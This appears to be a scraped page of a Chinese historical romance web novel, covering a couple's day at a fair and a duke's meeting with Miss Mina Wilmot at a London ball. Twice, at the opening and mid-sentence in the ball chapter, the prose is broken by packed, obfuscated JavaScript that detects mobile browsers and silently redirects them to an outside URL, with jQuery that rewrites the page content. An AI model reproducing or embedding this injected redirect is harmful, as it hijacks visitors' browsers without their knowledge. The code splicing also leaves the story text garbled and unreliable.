;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573875|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条简单的浅蓝色长裙，头上只戴了一顶普通的软呢帽，看上去像个普通的小镇女人。 克里斯蒂安也脱去了绅士的衣服，装扮成了牧羊人的模样，就这么走在路上，看上去又年轻又精神，惹得佩内洛普笑个不停。 因为路人都不认识他们，他们便也毫无顾忌地依偎在一起，像是一对普通情侣那样在集市上闲逛，毫无一点贵族的风度。 “想试试这个吗？”克里斯蒂安指着一旁摊位上的糖苹果，眼中带着几分狡黠。 佩内洛普斜睨了他一眼：“我十五年前就已经成年了，亲爱的，我可不会被一颗糖苹果哄得心花怒放。” 克里斯蒂安耸肩，一副无辜的模样：“那也许是因为你还没尝过我亲手挑的？” 佩内洛普被他哄得笑弯了眼睛，还是乖乖地接过了糖苹果，咬了一口，甜得她忍不住眯起了眼睛。 而克里斯蒂安就站在一旁，看着她吃苹果，像个得了奖的小男孩。 之后他们又去参加了“掷铁环比赛”，克里斯蒂安自信满满地炫耀自己的精准手艺，结果每一次都差一点套中目标。 佩内洛普一边笑一边鼓掌：“天呐，我都不知道你竟然这么笨拙。” 克里斯蒂安不服气地甩掉外套，挽起袖子，赌气似的又给了摊主一些钱，拿了好几个铁环回来：“等着，妻子，我一定会赢得最大的奖品送给你。” 他当然没有成功，但也不至于毫无收获，他得到的奖品是一只还算精致的绵羊玩偶，小巧可爱，软绵绵的，如果不仔细看的话，简直和他们路上看到的真羊别无二致。 克里斯蒂安将它郑重其事地递给佩内洛普：“我本来是想给你带一只真的羊，但现在，只能先用这个替代了。” 佩内洛普笑得前仰后合，还是接过了玩偶，小心地抱在怀里。 “这只羊，我会好好珍惜的。”她认真地说。 “就像我一样？”克里斯蒂安半开玩笑地问。 佩内洛普挑了挑眉，眼神微微一柔：“比那还好得多。” 傍晚回到小屋，两人都有些疲惫，但心情却无比愉悦。 克里斯蒂安故意提着战利品夸张地展示了一番——糖苹果、蜂蜜饼干、小羊玩偶，还有一条手工编织的披肩。 佩内洛普就靠在门边，看着他那副孩子气的得意模样。 晚饭之后，他们窝在壁炉前，佩内洛普披着新买的披肩，而那只绒毛小羊被摆在他们中间。 克里斯蒂安一边翻看着今天买来的旧诗集，一边时不时抬眼偷偷看她。 佩内洛普发现了，笑着抬手刮了刮他的鼻尖：“你就这么喜欢偷看我吗？” 克里斯蒂安坦然答道：“当然了。你是我一生中最美好的珍藏。” 她靠在他的肩膀上，轻声道：“我在想，以后每年我们都回来一次，好不好？” “这种小事，夫人决定就可以了。”他俏皮地说。 然后，他收起了诗集，将她抱得更紧了一些，在她的耳边轻轻呢喃： “我爱你，以儿时的信仰，我爱你， 以澎湃的激情，就像昔日满腔的悲伤。 我爱你，以一种只有失去了圣者才有可能 消逝的爱慕。我爱你，以我终身的呼吸、 欢乐与泪珠——诚然上帝作出了裁决， 即使死后，我也会更深地爱。*” 壁炉里的火光跳跃着，映照出他们紧紧相依的影子。 屋外，秋风起，落叶翻飞，但这一间小屋，永远是温暖与甜蜜的港湾。 51. 米娜·威尔莫特 菲利波·帕拉维奇诺公爵已经许久没有参加过伦敦的舞会了。此刻，他站在他的表亲布兰查德勋爵身边，仔细地扫视着舞池。 在水晶吊灯的照射下，整个舞厅仿佛沐浴在一片金色的流光之中。巨大的水晶棱面折射出无数星点般的光斑，映照在精致的天花板与华丽的镜面墙上，使整个房间看起来宛如一个光影交错的梦境。 音乐悠扬流淌，弦乐四重奏在角落里演奏着优雅的华尔兹，旋律在大理石地板上翩然回荡，年轻的贵族男女身着华美的礼服，在舞池中旋转起舞。 菲利波就这么看了好一会儿，嘴角微微上扬，转向布兰查德勋爵，目光中带着几分揶揄。 “嗯？你的意中人在哪里呢？” 布兰查德勋爵端着酒杯，神色间流露出一丝迟疑。他的目光在舞池中快速地掠过，仿佛是在寻找什么，又仿佛是刻意避开什么。 片刻之后，他清了清嗓子，低声道：“没看见她，我想她没有参加。” 菲利波挑了挑眉，故作惊讶地叹了口气：“天呐，你害羞得简直像个小姑娘。” 他环视舞池，随即指向不远处的玛丽·圣-西蒙女爵——一位美貌非凡的女子，她正优雅地与舞伴共舞，浅色的丝绸裙摆仿若云雾般轻盈飘动。 “是那位吗？”菲利波问。 布兰查德勋爵道：“你认为是就是吧。” 那就肯定不是了。 菲利波微微一笑，又指向了另一位同样美丽的年轻女子，她有着甜美的笑容，正和几位小姐轻声交谈，偶尔低头轻笑，举止温柔可人。 “是她吗？她看起来很可爱。” 布兰查德勋爵不耐烦地瞥了他一眼，语气带着几分无奈：“当我求你了，菲利波，我都不知道你原来这么八卦。” 菲利波微笑道：“这不能说是八卦，我亲爱的表亲，这应该被称之为关心，你二十七岁了，才总算是爱上了一个女孩，我必须帮你把把关才行。” 菲利波将酒杯送到唇边，慢悠悠地抿了一口，眼神却始终带着揶揄，牢牢锁定着他的表亲。布兰查德勋爵明显有些不自在，微微侧过头，假装对舞池中的情景更感兴趣。 “所以。”菲利波放下酒杯，饶有兴致地追问，“这位神秘的佳人到底是谁？你就告诉我吧。” 布兰查德勋爵皱了皱眉，似乎在衡量该不该继续这场对话。最后，他无奈地叹了口气，声音压得很低：“她不在这，就算在，我也不会告诉你是谁。” 菲利波忍不住笑了：“看来你确实是认真的了。” 然后，他顿了顿，又意味深长地看着布兰查德勋爵：“让我猜猜，你之所以不告诉我，是因为你在害怕什么？还是说，她对你无意，让你觉得难过？” 布兰查德勋爵微微一震，眼神闪烁了一下，随即又恢复了平静：“菲利波，你是不是也该去找个舞伴了？” “别转移话题。你越是讳莫如深，我就越是觉得有趣。” 布兰查德勋爵无奈地摇了摇头，正要说些什么，却忽然停住了。 菲利波见此，也不禁顺着布兰查德勋爵的目光看去。 在这炎热的夏季，连接花园的法式落地窗是开着的，而许多人也选择了在花园跳舞，此刻，一位小姐就正与她的舞伴从花园里回到了舞厅。 她穿着一袭淡蓝色的长裙，裙摆随着步伐微微摇曳，仿佛携带着夜风的凉意。她深色的长发被挽起，仅有几缕卷发垂落鬓间，映衬着雪白的肌肤。 她低下头轻轻一笑，不知朝身边英俊的舞伴说了句什么，那未语先笑的神情透着一丝柔和的俏皮，令人移不开目光。 菲利波愣住了。他的目光紧紧地追随着那位女子，像是被某种无形的力量牵引住了一般。 他完全忘记了要打听表亲的心上人，只是怔怔地询问布兰查德勋爵：“那位女士是谁？” 布兰查德勋爵的目光在他与那位小姐之间来回打量，然后他道：“米娜·威尔莫特小姐。” 菲利波想到这是个高级舞会，颇为遗憾道：“我想她也出身名门。” 布兰查德勋爵点了点头：“她父亲是准男爵保罗·威尔莫特爵士。我不知道你是否有印象，她已逝的祖父哈里爵士曾经是驻意大利大使。” 菲利波优雅地耸了耸肩，道：“我能记得现任大使叫什么已经很不错了。” 布兰查德勋爵想了想，确实。 菲利波继续打听：“她身边的男人是她的恋人或者未婚夫吗？” 布兰查德勋爵道：“不，她的父亲母亲不会让她和他结婚的，他不够富裕，名声也不好，而以她的人品相貌，她完全可以嫁给一位真正的勋爵，甚至是公爵。” 菲利波顿时抬起了眉毛。 于是布兰查德勋爵立刻又补充道：“但一切还是得她自己做主。” 菲利波道：“看来我不用瞎猜测了，你爱上她了？” 布兰查德勋爵没有回答，但在此情此景之下，已属默认。 于是，菲利波又继续兴致勃勃道：“需不需要我帮帮你？我想我还算有几分口才，一定能将你夸得绝无仅有。” 闻言，布兰查德勋爵不禁干笑一声，连忙道：“不必了，有些事情我会自己努力的。” 布兰查德勋爵虽然为了不讨威尔莫特小姐的欢心这件事苦恼了很久，但也没病急乱投医到这个地步，把浑身散发着魅力的表兄介绍给心上人认识。 他现在只想把人带得越远越好。 可就在这时，有人已经注意到他们，并开始大声喊他的名字：“布兰查德勋爵！” 他扭头看去，是米娜的母亲。 一位夫人叫他，他不可能就这么假装没有听见，于是，他只能带着身边的花孔雀向着威尔莫特夫人与威尔莫特小姐走去。 “真高兴见到你，布兰查德勋爵。”索菲道，“还没请教，这位是？” 布兰查德勋爵迫于无奈，给他们几个做了介绍。 果不其然，菲利波三两句话就把风韵犹存的威尔莫特夫人哄得咯咯直笑，若是四下无人，手估计都要直接伸到人胳膊上去了。 真是的，保罗爵士呢？ 布兰查德勋爵的内心的呼唤没有任何意义，他的表兄已经发起了攻势，用一个落在他心上人手背上的轻吻，使得那高傲美丽的女孩红了脸。 菲利波显然是有心卖弄，他引用《荷马史诗》中奥德修斯的诗向她表示赞美：“你是一位神明，还是一个凡人？倘若你是神明，拥掌辽阔天空的神祇中的一个，那么，你的丰美，你的身段和体形，比谁都更像宙斯的女儿，阿耳忒弥丝的模样。但是，倘若你是一位居家凡间的女子，那么，你的父亲和尊贵的母亲，还有你的兄弟，一定受着三倍的幸福。” 女孩闻言，犹豫了一下，还是调皮地看他一眼，用流利的希腊语回应道：“看来，陌生的来客，你不像是个坏蛋或没有头脑的蠢人。” 这正是《荷马史诗》中，娜乌茜卡的应答。 说完，她大概也觉得自己面对一位绅士的赞美表现得未免太挑衅了，脸也不禁更红了。 菲利波愣住了。 他怎么也没料到一位她这样年轻美丽的小姐居然会读过希腊语的《荷马史诗》，并且能背诵。 不愧是外交家的孙女。 倒是她的母亲，见女儿就是不愿意听话，就是喜欢在绅士面前卖弄自己的那点子才学，不禁瞪了她一眼。 可菲利波并不挫败，反而是彬彬有礼道：“很高兴可以认识你，威尔莫特小姐，我不知道你稍后是否愿意赏光，与我跳一支舞。” 她扭头看了一眼母亲，便微笑着点了点头：“当然，我很荣幸。” 然后她拿起了自己的舞会卡，让菲利波签下了名字。 于是，布兰查德勋爵就这么眼睁睁地看着菲利波把她带到舞池中央，用一只胳膊搂住她的腰，用一只手轻轻握住她的右手。 米娜·威尔莫特小姐不仅是天生丽质，也天生的舞姿优美，菲利波想，但不知为何，她仿佛非常紧张，她一直盯着他的肩膀，十分随意地回应着他的话，只全神贯注于自己的舞步。 菲利波其实并不习惯与这样的年轻小姑娘打交道，毕竟他比她年长得多，可现在，他就是没来由地觉得她非常可爱，非常有吸引力。 当她总算是变得自在了一些，菲利波也终于道：“这是一件漂亮的礼服吗，小姐？” “什么？”她猛地抬起头问。 她看起来是如此可爱，当她抬头时，她那双美丽的大眼睛坦率而天真地与他对视着，他意识到，自己的心中涌起一种不单纯的情绪。但他无意与这位或任何其他漂亮的小姐太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573876|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太过分亲密，于是，他用一种戏谑的语气道：“我注意到你一直盯着我的礼服看。” “不。”她立刻认真地反驳道，“我是在注意我的舞步！” 菲利波忍不住笑了。 多么令人耳目一新的女孩，他但凡再年轻几岁，都会轻易屈服于她漂亮脸蛋下那天真的举止。 好在他现在更满意他的单身生活，绝不想要结婚。 “那没有必要，小姐，你跳得很好。” “许多位人都会对这句话表示反对。”她道，“我曾经将一位绅士踩得整场舞会再也没有跟其他任何人跳舞。” “那也可能是因为他不想再将就了。”菲利波眨了眨眼睛，意有所指道。 当然了，他很清楚他们之间根本不会有什么可能。 他想，就在这个社交季，她很有可能会嫁给她的某一个贵族追求者，像是他的表亲，又可能会自己挑一个不高贵但她自己喜欢的小伙子。 总而言之，一个像她这样的乖女孩会安心当一位贤惠的太太。 也许，他这次一离开伦敦，就会再也见不到她了。 他觉得很可惜，可能这辈子都不曾感到这么可惜，却又不想改变什么，所以就现在，他非常乐意通过一点言语的小小调情来取悦她，看她露出那美丽的微笑。 果然，她被他逗笑了。 他也想继续对她微笑，他会很享受她的好感，可马上，他的脸就僵住了。 她毕竟是个高个子女孩，身材虽然仍在苗条的范畴里，却绝不瘦弱，这么一脚下去，还真痛啊。 她的脸也白了几分：“我很抱歉。” 菲利波努力假装云淡风轻道：“没关系的，小姐，你就像小鸟一般轻巧，并没有踩疼我。” 于是马上，她又不小心踩了他一脚。 之后，她是一句话也不敢再说，只是再次开始仔细地研究起了他的外套。 当美妙的音乐停止，这场甜蜜的苦役也终于迎来了结束，菲利波不得不带着她离开了舞池。 这让他非常遗憾，他意识到，自己甚至宁愿被她踩上一整晚的脚，哪怕踩到不能走路也心甘。 他没有再邀请任何女士跳舞，哪怕有许多女士都很乐意结识他，他就只是静悄悄地看着她与一位又一位的绅士在舞池中翩翩起舞。偶尔，她也会注意到他，然后，她就会给他一个公爵夫人一般美丽的微笑。 米娜·威尔莫特，不列颠最动人的玫瑰。 舞会结束后，他只在舅舅的房子里短暂地睡了一小会儿，却做了一个很长很长的梦。 他梦见了自己化身为一片黄金雨，一滴滴地落在了她的床榻上…… 一直到他们马上就要到车站了，菲利波都仍在犹豫要不要离开伦敦，他心里仍然深深地惦念着那位小姐。 他几乎能想象自己这辈子都会陷在对她的渴望之中，无法自拔。 可他实在不想结婚，而一位准男爵家的小姐，清白无辜，绝不是他能随意染指的。当然了，他也从来都不准备去引诱什么未婚的淑女，这是只有最没出息的流氓恶棍才能做得出来的蠢事。 他得时刻谨记自己是一名绅士。 他正思索间，便感到一阵骚乱传来。 他打开车窗向外看去，貌似是警察在车站搜寻什么逃犯吧。 马上就要走了，他也懒得去在意这种小事，刚将车窗关上，准备下马车，他的马车便晃动起来。 他听见他的马车夫在咒骂，然后，一个女孩狼狈地出现在了他的眼前。 在他震惊的目光中，她也愣了愣，显然是认出了他的脸，然后她尴尬道：“我很抱歉就这么闯了进来。” 米娜…… 他几乎以为自己是在做梦，可她仍然在对他说话。 “我可以在你的马车里暂时躲一会吗？有很多人在找我，求你了，就看在我们一起跳过舞的份上。” 说到后面几个字，她想起菲利波被踩的脚，也不免有些心虚。 菲利波犹豫了，他知道，这是最后的令他摆脱她魅力的机会，不然，他将在与她的短暂相处中彻底沦陷。 那听起来并不美妙，毕竟，他并不打算跟任何人结婚。 可最后，他还是挥退了想要将这个闯入者拖出去的车夫，向她点了点头，道：“请便，小姐。”